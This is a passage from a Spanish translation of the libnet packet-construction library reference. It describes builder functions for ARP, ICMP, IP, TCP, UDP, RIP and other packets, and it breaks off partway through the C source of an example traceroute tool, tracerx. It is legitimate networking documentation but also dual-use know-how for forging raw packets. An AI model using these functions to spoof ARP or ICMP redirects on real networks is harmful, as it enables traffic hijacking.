te (sin incluir la cabecera IP). La función calcula el checksum para el
protocolo de transporte y lo rellena con la situación de la cabecera ade-
cuada (esta función debe llamarse solo despues de que el paquete esté cons-
truido).
Sepa que cuando estás usando sockets raw los checksum IP siempre son compu-
tados por el kernel y el usuario no ha de hacer nada. Cuando se usa el in-
terfaz link-layer el checksum IP debe esta explicitamente computado (en es-
te caso, el protocolo deber¡a ser de tipo IPPROTO_TCP y el tamaño incluir
el IP_H). La función devuelve 1 si va bien o -1 si el protocolo no es un
tipo soportado. Estos son los protocolos soportados por ahora:
Tipo Descripción
-------------------------
IPPROTO_TCP TCP
IPPROTO_UDP UDP
IPPROTO_ICMP ICMP
IPPROTO_IGMP IGMP
IPPROTO_IP IP
int libnet_build_arp(u_short, u_short, u_short, u_short, u_short, u_char *,
u_char *, u_char *, u_char *, const u_char *, int, u_char *);
Devuelve si acaba bien: 1
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - formato de la dirección hardware (ARPHRD_ETHER)
2 - formato de la dirección de protocolo
3 - longitud de la dirección hardware
4 - longitud de la dirección de protocolo
5 - tipo de opercaión ARP
6 - dirección hardware del mensajero
7 - dirección de protocolo del mensajero
8 - dirección hardware del destino
9 - dirección de protocolo del destino
10 - puntero al payload del paquete
11 - tamaño del payload del paquete
12 - puntero a la memoria del paquete previamente reservada
libnet_build_arp() construye un paquete ARP (RARP). En este punto en la li-
brería, la función solo construye paquetes ethernet/ARP, pero esto ser
bastante fácil de cambiar. Los primeros nueve argumentos son argumentos de
cabecera ARP standard, y los 3 últimos son argumentos estandares de la
creación de paquetes libnet. El tipo de operación ARP debe ser uno de los
siguientes tipos simbólicos:
Tipo Descripción
---------------------------------
ARPOP_REQUEST petición ARP
ARPOP_REPLY respuesta ARP
ARPOP_REVREQUEST petición RARP
ARPOP_REVREPLY respuesta RARP
ARPOP_INVREQUEST petición para identificar al par
ARPOP_INVREPLY respuesta de identificación del par
Todas las funciones de creación de paquetes de libnet contienen los mismos
3 argumentos terminales: un puntero a un payload opcional (o NULL si no
quieres incluir payload), el tamaño del payload en bytes (o 0 si no incluye
payload) y lo más importante, un puntero a un bloque de memoria previamente
reservado (el cual debe tener sufiente espacio para el paquete ARP entero).
La unica manera de que esta función (o algun libnet_build) devuelva error
es si la memor¡a que supuestamente estaba previamente reserva apunte a NULL
int libnet_build_dns(u_short, u_short, u_short, u_short, u_short, u_short,
const u_char *, int, u_char *);
Devuelve si acaba bien: 1
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - id del paquete
2 - flags de control
3 - número de preguntas
4 - número de registros de recurso de respuesta
5 - número de registros de recurso de autoridad
6 - número de registros de recurso adicionales
7 - puntero al payload del paquete
8 - tamaño del payload
9 - puntero a la memor¡a del paquete previamente reservada
libnet_build_dns() contruye un paquete DNS. Los campos DNS estáticos son los
primeros 6 argumentos, pero los campos de logintud opcionales deben ser in-
cluidos con el interfaz del payload.
int libnet_build_ethernet(u_char *, u_char *, u_short, const u_char *, int,
u_char *);
Devuelve si va bien: 1
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - puntero a la dirección de destino (cadena de texto)
2 - puntero a la dirección de origen (cadena de texto)
3 - tipo de paquete ethernet
4 - puntero al payload del paquete
5 - tamaño del payload del paquete
6 - puntero a la memoria del paquete previamente reservada
libnet_build_ethernet() construye un paquete ethernet. La dirección destino
y la orgien son argumentos que esperan arrays de carácteres unsigned. El
tipo del paquete ha de ser uno de los siguientes:
Tipo Descripción
---------------------------------
ETHERTYPE_PUP protocolo PUP
ETHERTYPE_IP protocolo IP
ETHERTYPE_ARP protocolo ARP
ETHERTYPE_REVARP protocolo RARP
ETHERTYPE_VLAN marcación IEEE VLAN
ETHERTYPE_LOOPBACK usado para probar interfaces
int libnet_build_icmp_echo(u_char, u_char, u_short, u_short, const u_char *,
int, u_char *);
Devuelve si acaba bien: 1
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - tipo del paquete
2 - código del paquete
3 - id del paquete
4 - número de secuencia del paquete
5 - puntero al payload del paquete
6 - tamaño del payload del paquete
7 - puntero a la memoria del paquete previamente reservada
libnet_build_icmp_echo() construye un paquete ICMP_ECHO / ICMP_ECHOREPLY.
El tipo del paquete debe ser ICMP_ECHOREPLY o ICMP_ECHO y el código debe
ser 0.
int libnet_build_icmp_mask(u_char, u_char, u_short, u_short, u_long,
const u_char *, int, u_char *);
Devuelve si acaba bien: 1
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - tipo del paquete
2 - código del paquete
3 - id del paquete
4 - número de secuencia del paquete
5 - IP netmask
6 - puntero al payload del paquete
7 - tamaño del payload del paquete
8 - puntero a la memoria del paquete previamente reservada
libnet_build_icmp_mask() construye un paquete ICMP_MASKREQ / ICMP_MASKREPLY
el tipo del paquete debe ser ICMP_MASKREQ o ICMP_MASKREPLY y el c¢digo debe
ser 0. El argumento IP netmask debe ser una mascara de subred en formato
network-byte de 32-bits.
int libnet_build_icmp_unreach(u_char, u_char, u_short, u_char, u_short,
u_short, u_char, u_char, u_long, u_long, const u_char *, int, u_char *);
Devuelve si acaba bien: 1
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - tipo del paquete
2 - código del paquete
3 - longitud IP original
4 - TOS IP original
5 - id IP original
6 - bits de fragmentación IP original
7 - tiempo de vida IP original
8 - protocolo IP original
9 - dirección origen IP original
10 - dirección destino IP original
11 - puntero al payload IP original
12 - tamaño del payload IP original
13 - puntero a la memoria del paquete previamente reservada
libnet_build_icmp_unreach() construye un paquete ICMP_UNREACH. el tercero
de los 12 argumentos es usado para construir la cabecera IP del paquete
original que produce el mensaje de error (el ICMP unreachable). El tipo del
paquete debe ser ICMP_UNREACH y el código uno de los siguientes:
Código Descripción
-----------------------------------------
ICMP_UNREACH_NET la red es inalcanzable
ICMP_UNREACH_HOST el host es inalcanzable
ICMP_UNREACH_PROTOCOL el protocolo es inalcanzable
ICMP_UNREACH_PORT el puerto es inalcanzable
ICMP_UNREACH_NEEDFRAG requiere fragmentación pero el bit DF ha sido
puesto
ICMP_UNREACH_SRCFAIL fallo del rutado origen
ICMP_UNREACH_NET_UNKNOWN la red es desconocida
ICMP_UNREACH_HOST_UNKNOWN el host es desconocido
ICMP_UNREACH_ISOLATED el host / red esta aislado
ICMP_UNREACH_NET_PROHIB red prohibida
ICMP_UNREACH_HOST_PROHIB host prohibido
ICMP_UNREACH_TOSNET IP TOS y red
ICMP_UNREACH_TOSHOST IP TOS y host
ICMP_UNREACH_FILTER_PROHIB filtro prohibido
ICMP_UNREACH_HOST_PRECEDENCE procedencia del host
ICMP_UNREACH_PRECEDENCE_CUTOFF procedencia del host cortada
int libnet_build_icmp_timeexceed(u_char, u_char, u_short, u_char, u_short,
u_short, u_char, u_char, u_long, u_long, const u_char *, int, u_char *);
Devuelve si acaba bien: 1
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - tipo del paquete
2 - código del paquete
3 - longitud IP original
4 - TOS IP original
5 - id IP original
6 - bits de fragmentación IP original
7 - tiempo de vida IP original
8 - protocolo IP original
9 - dirección origen IP original
10 - dirección destino IP original
11 - puntero al payload IP original
12 - tamaño del payload IP original
13 - puntero a la memoria del paquete previamente reservada
libnet_build_icmp_timeexceed() construye un paquete ICMP_TIMEXCEED. Esta
función es idéntica a libnet_build_icmp_unreach con la excepcó¢n del tipo
del paquete y del código. El tipo del paquete puede ser
ICMP_TIMXCEED_INTRANS para paquetes que caduquen en el tránsito (TTL cadu-
cado) o ICMP_TIMXCEED_REASS para paquetes que caduquen en la cola de reen-
samblar la fragmentación.
int libnet_build_icmp_redirect(u_char, u_char, u_long, u_short, u_char,
u_short, u_short, u_char, u_char, u_long, u_long, const u_char *, int,
u_char *);
Devuelve si acaba bien: 1
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - tipo del paquete
2 - código del paquete
3 - dirección IP del gateway
4 - longitud IP original
5 - TOS IP original
6 - id IP original
7 - bits de fragmentación IP original
8 - tiempo de vida IP original
9 - protocolo IP original
10 - dirección origen IP original
11 - dirección destino IP original
12 - puntero al payload IP original
13 - tamaño del payload IP original
14 - puntero a la memoria del paquete previamente reservada
libnet_build_icmp_redirect() construye un paquete ICMP_REDIRECT. Esta fun-
ción es similar a libnet_build_icmp_unreach, las diferencias empiezan por
el tipo y el código del paquete y la adición de un argumento que es la
dirección IP del gateway que se debe usar. El tipo del paquete de ser
ICMP_REDIRECT y el código uno de los siguientes:
Código Descripción
-----------------------------------------
ICMP_REDIRECT_NET redirección para la red
ICMP_REDIRECT_HOST redirección para el host
ICMP_REDIRECT_PROTOCOL redirección para el tipo de servicio y red
ICMP_REDIRECT_PORT redirección para el tipo de servicios y host
int libnet_build_icmp_timestamp(u_char, u_char, u_short, u_short, n_time,
n_time, n_time, const u_char *, int, u_char *);
Devuelve si acaba bien: 1
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - tipo del paquete
2 - código del paquete
3 - id del paquete
4 - número de secuencia del paquete
5 - timestamp original
6 - timestamp recibido
7 - timestamp tranmitido
8 - puntero al payload del paquete
9 - tamaño del payload del paquete
10 - puntero a la memoria del paquete previamente reservada
libnet_build_icmp_timestamp() construye un paquete ICMP_TSTAMP /
ICMP_TSTAMPREPLY. El tipo del paquete debe ser ICMP_TSTAMP o
ICMP_TSTAMPREPLY y el código debe ser 0.
int libnet_build_igmp(u_char type, u_char code, u_long ip, const u_char *,
int, u_char *);
Devuelve si acaba bien: 1
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - tipo del paquete
2 - código del paquete
3 - dirección IP
4 - puntero al payload del paquete
5 - puntero a la memoria del paquete previamente reservada
libnet_build_igmp() construye un paqeuete IGMP. El tipo del paquete debe ser
uno de los siguientes:
Tipo Descripción
-----------------------------------------
IGMP_MEMBERSHIP_QUERY membership query
IGMP_V1_MEMBERSHIP_REPORT membership report v1
IGMP_V2_MEMBERSHIP_REPORT membership report v2
IGMP_LEAVE_GROUP leave-group message
El código debe probablemente dejarlo con 0, a no ser que sepas lo que estás
haciendo.
int libnet_build_ip(u_short, u_char, u_short, u_short, u_char, u_char,
u_long, u_long, const u_char *, int, u_char *);
Devuelve si acaba bien: 1
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - tamaño del paquete (sin incluir la cabecera IP)
2 - tipo del servicio
3 - id del paquete
4 - bits de fragmentación / offset
5 - tiempo de vida
6 - protocolo
7 - dirección de origen
8 - dirección de destino
9 - puntero al payload del paquete
10 - tamao del payload del paquete
11 - puntero a la memoria del paquete previamente reservada
libnet_build_ip() construye el poderoso paquete IP. El campo de la fragmen-
tación puede ser 0 o contener alguna combinación de lo siguiente:
Valor Descripción
-------------------------
IP_DF No fragmentar este datagrama (solo es válido cuando va solo)
IP_MF Más fragmentaciones en el camino (o conjuntamente con un valor
de offset)
El IP_OFFMASK es usado para recoger el offset del campo de la fragmentación
Los paquetes IP no deben ser más largos que IP_MAXPACKET bytes.
Las direcciones de origen y destino necesitan estar en formato network-byte
El interfaz del payload solo debe ser usado para construir un arbitrario o
un tipo de datagrama IP no soportado. Para construir un tipo de paquete TCP
UDP o similar, usar la función libnet_build correspondiente.
int libnet_build_rip(u_char, u_char, u_short, u_short, u_short, u_long,
u_long, u_long, u_long, const u_char *, int, u_char *);
Devuelve si acaba bien: 1
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - comando
2 - versión
3 - dominio de rutado (o 0)
4 - familia de direcciones
5 - marcado de rutado (o 0)
6 - dirección IP
7 - mascara de red (o 0)
8 - dirección ip del pr¢ximo hop (o 0)
9 - metric
10 - puntero al payload del paquete
11 - tamaño del paylaod del paquete
12 - puntero a la memoria del paquete previamente reservada
libnet_build_rip() construye un paquete RIP. Dependieno de la versión del
RIP que estés usando, los campos del paquete son algo diferentes. A conti-
nuación están las diferencias:
Argumento Versión 1 Versión 2
-----------------------------------------------
primero comando comando
segundo RIPVER_1 RIPVER_2
tercero 0 dominio de rutado
cuarto familia de direcciones familia de direcciones
quinto 0 marcado de rutado
sexto dirección IP dirección IP
séptimo 0 mascara de subred
octavo 0 IP del próximo hop
noveno metric metric
Los comandos RIP disponibles son los siguientes:
Comando Descripción
---------------------------------
RIPCMD_REQUEST petición RIP
RIPCMD_RESPONSE respuesta RIP
RIPCMD_TRACEON RIP traceado on
RIPCMD_TRACEOFF RIP traceado off
RIPCMD_POLL
RIPCMD_POLLENTRY
RIPCMD_MAX
int libnet_buil_tcp(u_short, u_short, u_long, u_long, u_char, u_short
u_short, const u_char *, int, u_char *);
Devuelve si acaba bien: 1
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - puerto de origen
2 - puerto de destino
3 - número de secuencia
4 - número ack
5 - flags de control
6 - window size
7 - puntero de urgencia
8 - puntero al payload del paquete
9 - tamaño del payload del paquete
10 - puntero a la memoria del paquete previamente reservada
libnet_build_tcp() construye un paquete TCP. Los flags de control pueden
ser uno o más de los siguientes:
Flag Descripci¢n
-------------------------
TH_URG datos urgentes
TH_ACK el campo del número ack debe ser chequeado
TH_PSH pon estos datos en la aplicación lo antes posible
TH_RST resetear la conexi¢n
TH_SYN sincronizar los números de secuencia
TH_FIN finalizar el mandar datos
int libnet_build_udp(u_short, u_short, const u_char *, int, u_char *);
Devuelve si acaba bien: 1
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - puerto de origen
2 - puerto de destino
3 - puntero al payload del paquete
4 - tamaño del payload del paquete
5 - puntero a la memoria del paquete previamente reservada
libnet_build_udp() construye un paquete UDP. Por favor recuerda que los
checksums UDP son considerados mandamientos por los requerimientos del host
RFC.
int libnet_insert_ipo(struct ipoption *opt, u_char opt_len, u_char *buf);
Devuelve si acaba bien: 1
Devuelve si hay error: -1
Reentrante: Sí
Argumentos 1 - puntero a la estructura de opciones IP
2 - longitud de las opciones
3 - puntero a un datagrama IP completo
libnet_insert_ipo() inserta opciones IP en un paquete pre-construido.
Se le pasa un puntero a una estructura de opciones IP, el tamaño de la lis-
ta de opciones, y un puntero al paquete pre-construido. La lista de opcio-
nes debe ser construida como vayan apareciendo en el cable, y se irán in-
sertando en el paquete en su colocación adecuada.
La función devuelve -1 si las opciones resultan un paquete muy grande (ma-
yor que 65535 bytes), o si el buffer del paquete es NULL. Esto es un error
que no se chequea en tiempo de ejecución para que el user no tenga reserva-
da sufiente memoria para el paquete IP más las opciones IP.
int libnet_insert_tcpo(struct tcpoption *, u_char, u_char *);
Devuelve si acaba bien: 1
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - puntero a una estructura de opciones TCP
2 - tamaño de las opciones
3 - puntero a un paquete TCP completo
libnet_insert_tcpo() inserta opciones TCP en un paquete IP/TCP pre-construi
do. Se le pasa un puntero a una estructora de opciones TCP, el tamaño de
las opciones, y un puntero a un paquete TCP pre-construido. La lista de op-
ciones debe ser construida según vayan apareciendo en el cable, y simplemen
te son insertadas en el paquete en el sitio adecuado.
La función devuelve -1 si con las opciones resulta un paquete muy grande
(mayor que 65535), si el paquete no es un paquete IP/TCP, si la lista de
opciones no es mayor a 20 bytes, o si el buffer del paquete es NULL.
Funciones de Soporte
--------------------
int libnet_seed_prand();
Devuelve si acaba bien: 1
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: N/A
libnet_seed_prand() hace de pseudo-generador de números. La función es bá-
sicamente como srandom. Llama a gettimeofday para coger entropía. Devuelve
-1 si falla la llamada a gettimeofday (mirar errno). En otro caso devuelve
1.
u_long libnet_get_prand(int);
Devuelve si acaba bien: 1
Devuelve si hay error: N/A
Reentrante: Sí
Argumentos: 1 - tamaño máximo del los n£meros generados por el pseudo-gen
libnet_get_prand() hace un pseudo-generador de números. El rango de los
valores que devuelve está controloda por el único argumento que recibe la
función:
Valor Descripci¢n
-------------------------
PR2 0 - 1
PR8 0 - 255
PR16 0 - 32767
PRu16 0 - 65535
PR32 0 - 2147483647
PRu32 0 - 4294967295
Esta función no falla.
viod libnet_hex_dump(u_char *buf, int len, int swap, FILE *stream);
Devuelve si acaba bien: N/A
Devuelve si hay error: N/A
Reentrante: Sí
Argumentos: 1 - paquete a volcar
2 - tamaño del paquete
3 - byte swap flag
4 - descriptor de fichero para volcar el paquete
libnet_hex_dump() imprime un paquete en hexadecimal. Imprimirá el paquete
tal como aparece en memoria, o como aparece en el cable, dependiendo de el
valor del byte swap flag.
La función imprime el paquete en el descriptor de fichero que se le pasa
(pudiendo ser stdout).
Nota: en las arquitecturas big-endian como Solaris, el paquete aparecer
igual en memoria q en el cable.
int libnet_plist_chain_new(struct libnet_plist_chain **, char *);
Devuelve si acaba bien: 1
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - puntero a puntero libnet_plist_chain
2 - puntero a la lista de señales
libnet_plist_chain_new() construye una nueva cadena de lista de puertos
libnet. Una cadena de lista de puertos libnet es una vía simple y rápida de
implementar rangos de listas de puertos (útil para aplicaciones que emplean
listas de puertos, como los scanners de puertos). Tú verás implementaciones
ingenuas que reservan un array de 65535 bytes y lo rellenan con los puertos
uno por uno. Sin embargo, nosotros realmente solo necesitamos guardar el
puerto inicial y el final, y asi podremos eficientemente guardar muchos ran
gos de puertos (delimitados por comas) usando una cadana linkada con cada
nodo dejando el principio y el puerto final para un rango particular. Por
ejemplo, el rango de puertos `1-1024` ocuparía un nodo con el principio del
puerto empezando en 1 y el puerto final empezando en 1024. El rango de puer
tos `25,11-161,6000` resultaría ocupar 3 nodos. Los puertos sueltos cogen
rangos simples (puerto 25 acaba siendo 25-25).
Los argumentos son un puntero a puntero libnet_plist_chain el cual necesita
derrefenciar una estructura libnet_plist_chain reservada y apuntar a la lis
ta de puertos.
La función chequea la lista de puertos por si hay carácteres inválidos y de
vuelve error si los encuentra.
Si la función acaba bien devuelve 1, y la cabeza apuntando a una nueva lis-
ta de puertos. Si hay un error (si encuentra algún carácter inválido o
malloc falla) devuelve -1 y la cabeza apunta a NULL.
libnet_plist_chain_next_pair() debe ser usada para extraer pares de listas
de puertos.
int libnet_plist_chain_next_pair(struct libnet_plist_chain *, u_short *,
u_short *);
Devuelve si acaba bien: 1, 0
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - puntero a puntero libnet_plist_chain
2 - puntero al puerto inicial
3 - puntero al puerto final
libnet_plist_chain_next_pair() busca el siguiente par de puertos de la lis-
ta. La función coge un puntero a la cabeza de la lista prefabricada y un
puntero a un u_short que contiene el puerto inicial y un puntero a un
u_short que contiene el puerto final.
La función devuelve 1 y rellena estos valores si quedan nodos, o si la ca-
dena de lista de puertos está terminada, devuelve 0. Si ocurre un error (el
puntero libnet_plist_chain es NULL) la función devuelve -1.
int libnet_plist_chain_dump(struct libnet_plist_chain *);
Devuelve si acaba bien: 1
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - puntero a puntero libnet_plist_chain
libnet_plist_chain_dump() vuelca la cadena lista de puertos referenciada en
el argumento. La función imprime la lista al stdout (esto es principalmente
un debugger). Devuelve 1 si acaba bien y si ocurre algún error (el puntero
libnet_plist_chain es NULL) la función devuelve -1.
u_char *libnet_plist_chain_dump_string(struct libnet_plist_chain *);
Devuelve si acaba bien: puntero a la lista como una cadena de texto
Devuelve si hay error: NULL
Reentrante: No
Argumentos: 1 - puntero a puntero libnet_plist_chain
libnet_plist_chain_dump_string() devuelve la cadena lista de puertos refe-
renciada por el argumento como una cadena de texto. Devuelve la lista de
puertos si acaba bien o si ocurre un error (el puntero libnet_plist_chain
sea NULL) la funci¢n devuelve NULL.
void libnet_plist_chain_free(struct libnet_plist_chain *);
Devuelve si acaba bien: N/A
Devuelve si hay error: N/A
Reentrante: Sí
Argumentos: 1 - puntero a puntero libnet_plist_chain
libnet_plist_chain_free() libera la memoria asociada con la cadena lista de
puertos de libnet.
----[ 6] Conclusión
Libnet es una librería útil y poderosa. Úsala bien y prosperarás y le gusta-
rás a la gente. Las mujeres te querrán, los hombres querrán estar contigo.
----[ 7] URLs
Página Principal de Libnet: http://www.packetfactory.net/libnet
Página del Proyecto: http://www.packetfactory.net
Lista de Correo: libnet-subscribe@libnetdevel.com (la lista de correo
no está disponible desde el 09.09.99)
TracerX: http://www.packetfactory.net/libnet
----[ 8] Referencias
[1] LBNL, Network Research Group, "libpcap", http://ee.lbl.gov
[2] Stevens, W. Richard, "UNIX Network Programming, vol. I, 2nd ed.",
Prentice Hall PTR, 1998
[3] Hanson, David R., "C Interfaces and Implementations", Addison-Wesley,
1997
----[ 9] Código de Ejemplo
Un documento sobre una librería de C sin código no estaría completo. El si-
guiente código es un ejemplo de trabajo en progreso fuertemente
comentado. En
la actualidad está incompleto el programa que llamaremos tracerx.
La porción de inyección de paquetes está completada y operativa y debe valer
para ser un buen ejemplo sobre como escribir código complejo razonale con lib
net (y libpcap). Está incluido el árbol tracerx incluyendo los ficheros de
autoconf para que puedas compilarlo en tú máquina y jugar con él
* tx_framework.c:
/*
* $Id: tx_framework.c,v 1.3 1999/06/03 22:06:52 route Exp $
*
* Tracerx
* tx_framework.c - main tracerx toplevel routines
*
* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
* Jeremy F. Rauch <jrauch@cadre.org>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*/
#if (HAVE_CONFIG_H)
#include "./config.h"
#endif
#include "./tx_main.h"
#include "./tx_error.h"
#include "./tx_struct.h"
#include "./tx_framework.h"
#include "./tx_packet_inject.h"
#include "./tx_packet_capture.h"
#include "./tx_packet_filter.h"
int
tx_init_control(struct tx_control **tx_c)
{
/*
* Memoria para la estructura de control
*/
*tx_c = (struct tx_control *)malloc(sizeof(struct tx_control));
if (!(*tx_c))
{
return (-1);
}
/*
* Memoria para la estructura interfaz de libnet link
*/
(*tx_c)->l =
(struct libnet_link_int *)malloc(sizeof(struct libnet_link_int));
if (!((*tx_c)->l))
{
return (-1);
}
if (libnet_seed_prand() == -1)
{
tx_error(CRITICAL, "No se puede inicializar el generador de números\n");
return (-1);
}
/*
* Initialize defaults to mimic a standard traceroute scan.
*/
(*tx_c)->device = NULL; /* se pone después */
(*tx_c)->current_ttl = 1; /* empieza a un hop */
(*tx_c)->max_ttl = 30; /* termina a los 30 */
(*tx_c)->initial_sport = libnet_get_prand(PRu16);
(*tx_c)->initial_dport = 32768 + 666; /* tr estandar */
(*tx_c)->id = getpid(); /* packet id */
(*tx_c)->use_name = 1; /* resolver direcciones IP */
(*tx_c)->packet_size = PACKET_MIN; /* IP + UDP + payload */
(*tx_c)->ip_tos = 0; /* se pone después */
(*tx_c)->ip_df = 0; /* se pone después */
(*tx_c)->packet_offset = 0; /* se pone después */
(*tx_c)->protocol = IPPROTO_UDP; /* UDP */
(*tx_c)->probe_cnt = 3; /* 3 probes */
(*tx_c)->verbose = 0; /* Callado */
(*tx_c)->reading_wait = 5; /* 5 segundos */
(*tx_c)->writing_pause = 0; /* sin pausa escribiendo */
(*tx_c)->host = 0; /* se pone después */
(*tx_c)->packets_sent = 0; /* se pone después */
(*tx_c)->packets_reply = 0; /* se pone después */
(*tx_c)->l = NULL; /* descriptor pcap */
(*tx_c)->p = NULL; /* descriptor libnet */
memset(&(*tx_c)->sin, 0, sizeof(struct sockaddr_in));
return (1);
}
int
tx_init_network(struct tx_control **tx_c, char *err_buf)
{
/*
* Levanta el interfaz de red y determina nuestra IP de salida
*/
if (libnet_select_device(&(*tx_c)->sin, &(*tx_c)->device, err_buf) == -1)
{
return (-1);
}
/*
* Abre el interfaz link-layer de inyección
*/
(*tx_c)->l = libnet_open_link_interface((*tx_c)->device, err_buf);
if (!((*tx_c)->l))
{
return (-1);
}
/*
* Abre el interfaz pcap de captura de paquetes
*/
(*tx_c)->p = pcap_open_live((*tx_c)->device, PCAP_BUFSIZ, 0, 500, err_buf);
if (!((*tx_c)->p))
{
return (-1);
}
/*
* Verifica el tamaño mínimo del paquete y pone los filtros pcap
*/
switch ((*tx_c)->protocol)
{
case IPPROTO_UDP:
if ((*tx_c)->packet_size < IP_H + UDP_H + TX_P)
{
tx_error(WARNING,
"Paquete demasiado pequeño, ajustado de %d a %d\n",
(*tx_c)->packet_size,
IP_H + UDP_H + TX_P);
(*tx_c)->packet_size = IP_H + UDP_H + TX_P;
}
if (tx_set_pcap_filter(TX_BPF_FILTER_UDP, tx_c) == -1)
{
return (-1);
}
break;
case IPPROTO_TCP:
if ((*tx_c)->packet_size < IP_H + TCP_H + TX_P)
{
tx_error(WARNING,
"Paquete demasiado pequeño, ajustado de %d a %d\n",
(*tx_c)->packet_size,
IP_H + TCP_H + TX_P);
(*tx_c)->packet_size = IP_H + TCP_H + TX_P;
}
if (tx_set_pcap_filter(TX_BPF_FILTER_TCP, tx_c) == -1)
{
return (-1);
}
break;
case IPPROTO_ICMP:
if ((*tx_c)->packet_size < IP_H + ICMP_ECHO_H + TX_P)
{
tx_error(WARNING,
"Paquete demasiado pequeño, ajustado de %d a %d\n",
(*tx_c)->packet_size,
IP_H + ICMP_ECHO_H + TX_P);
(*tx_c)->packet_size = IP_H + ICMP_ECHO_H + TX_P;
}
if (tx_set_pcap_filter(TX_BPF_FILTER_ICMP, tx_c) == -1)
{
return (-1);
}
break;
default:
sprintf(err_buf, "Protocolo desconocido, no se pueden poner los filtros o el tamaño del paquete\n");
return (-1);
}
/*
* Reservando memoria para la cabecera del paquete
*/
if (libnet_init_packet(
(*tx_c)->packet_size + ETH_H, /* incluir el espacio para el link-layer */
&(*tx_c)->tx_packet) == -1)
{
sprintf(err_buf, "libnet_init_packet: %s\n", strerror(errno));
return (-1);
}
return (1);
}
int
tx_do_scan(struct tx_control **tx_c)
{
int i, j;
/*
* Construye una plantilla de prueba. Esta plantilla será usada por cada
* prueba que se mandó y será actualizada cada vez que se paso el loop principal
*/
tx_packet_build_probe(tx_c);
/*
* Incrementa el contador de hops y actualiza la plantilla del paquete
*/
for (i = 0; i < (*tx_c)->max_ttl; i++)
{
/*
* Manda una ronda de pruebas
*/
for (j = 0; j < (*tx_c)->probe_cnt; j++)
{
tx_packet_inject(tx_c);
fprintf(stderr, ".");
}
tx_packet_update_probe(tx_c);
fprintf(stderr, "\n");
}
tx_error(FATAL, "Cuenta de hops superada.\n");
return (1);
}
int
tx_shutdown(struct tx_control **tx_c)
{
pcap_close((*tx_c)->p);
libnet_close_link_interface((*tx_c)->l);
free((*tx_c)->l);
libnet_destroy_packet(&(*tx_c)->tx_packet);
free(*tx_c);
}
/* EOF */
* tx_packet_build.c:
/*
* $Id: tx_packet_build.c,v 1.3 1999/06/03 22:06:52 route Exp $
*
* Tracerx
* tx_packet_build.c - tracerx packet construction routines
*
* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
* Jeremy F. Rauch <jrauch@cadre.org>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*/
#if (HAVE_CONFIG_H)
#include "./config.h"
#endif
#include "./tx_main.h"
#include "./tx_error.h"
#include "./tx_struct.h"
#include "./tx_framework.h"
#include "./tx_packet_inject.h"
#include "./tx_packet_capture.h"
int
tx_packet_build_probe(struct tx_control **tx_c)
{
int i, c;
